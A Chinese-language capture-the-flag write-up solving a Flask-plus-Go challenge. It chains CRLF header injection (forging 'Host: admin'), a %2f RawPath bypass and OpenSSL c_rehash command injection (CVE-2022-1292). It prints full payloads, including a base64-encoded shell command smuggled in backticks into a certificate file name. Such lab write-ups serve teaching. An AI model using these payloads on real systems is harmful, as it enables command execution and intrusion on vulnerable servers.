又是go和python的结合啊((
今年的CISCN好像也有一道go+python的(go_session)
NSS上提供了附件,先看看附件怎么写的吧:
1 | import datetime |
flask里有如下几个路由:
/
:主页
/getcrt
:调用get_crt函数获取crt(证书)
/createlink
:使用c_rehash
方式使得openssl
在证书目录中能够找到证书
这里通过搜索c_rehash
能够得知有OpenSSL 命令注入漏洞(CVE-2022-1292
)
这个漏洞的利用方式是如果证书的名字有反引号的话可以执行命令:
1 | 例如: |
/proxy
如同他的名字,通过uri
传入表单
访问内网8887端口的服务
8887端口是什么服务呢?
main.go:
1 | package main |
go服务开在8887端口,也就是说我们可以通过/proxy
来访问8887
8887是rename
操作,也就是说我们可以通过重命名crt的方式来将crt命名成带反引号能够命令执行的方式,再通过/createlink
的c_rehash
执行命令,获取flag
思路如下:
1 | /getcrt -> /proxy admin/rename -> /createlink ->命令执行 |
一些问题及解决
Host
这里的访问host为admin
并且rawpath
不为空才能够进行Rename操作
但是我们可以从app.py
的/proxy路由得到
1 | msg = f'''GET {uri} HTTP/1.1 |
这里的User-Agent设置为了Guest
但是我们可以控制uri的输入,这里可以通过自行构造Host: admin来使得host为admin
RawPath
认识GO语言url.URL结构体 - 谈一些有趣的编程 (ipeapea.cn)
可以看到两个例子
这里的url.Parse
类似于php的parse_url()
第一个例子输出的时候RawPath为空
第二个例子把home后面的斜杠变为%2f
后,RawPath便不为空了
这就是说,如果有%2f
的话,RawPath就不会为空
即,在url任意一个/
进行url编码即可绕过
get表单
由于app.py
获取的是form
,也就是表单的形式(Burp抓包)
所以我们需要加入:Content-Type: application/x-www-form-urlencoded
我们需要访问rename,所以构造的表单的总体形式是这样的:
1 | /admin%2frename?oldname=oldcrtname&newname=`echo%20Y2F0IC8qIA==|base64%20-d|sh%20>%20flag.txt`.crt HTTP/1.1 |
换成get传参就是:
1 | /admin%252frename%3Foldname%3Df6ed3627-d764-4015-aea8-9086db8ed8d0.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520-d%7Csh%2520%3E%2520flag.txt%60.crt%20HTTP%2F1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20130%0D%0AConnection%3A%20close%0D%0A%0D%0A |
解题
先直接GET访问/getcrt获取一张证书
然后访问proxy,传入
1 | uri=/admin%252frename%3Foldname%3Df6ed3627-d764-4015-aea8-9086db8ed8d0.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520-d%7Csh%2520%3E%2520flag.txt%60.crt%20HTTP%2F1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20130%0D%0AConnection%3A%20close%0D%0A%0D%0A |
再访问/createlink
这样执行c_rehash static/crt/ && ls static/crt/
所以这里读取的就是static/crt
内的目录
说明flag.txt存在了static/crt
下
接下来访问static/crt/flag.txt
即可获取flag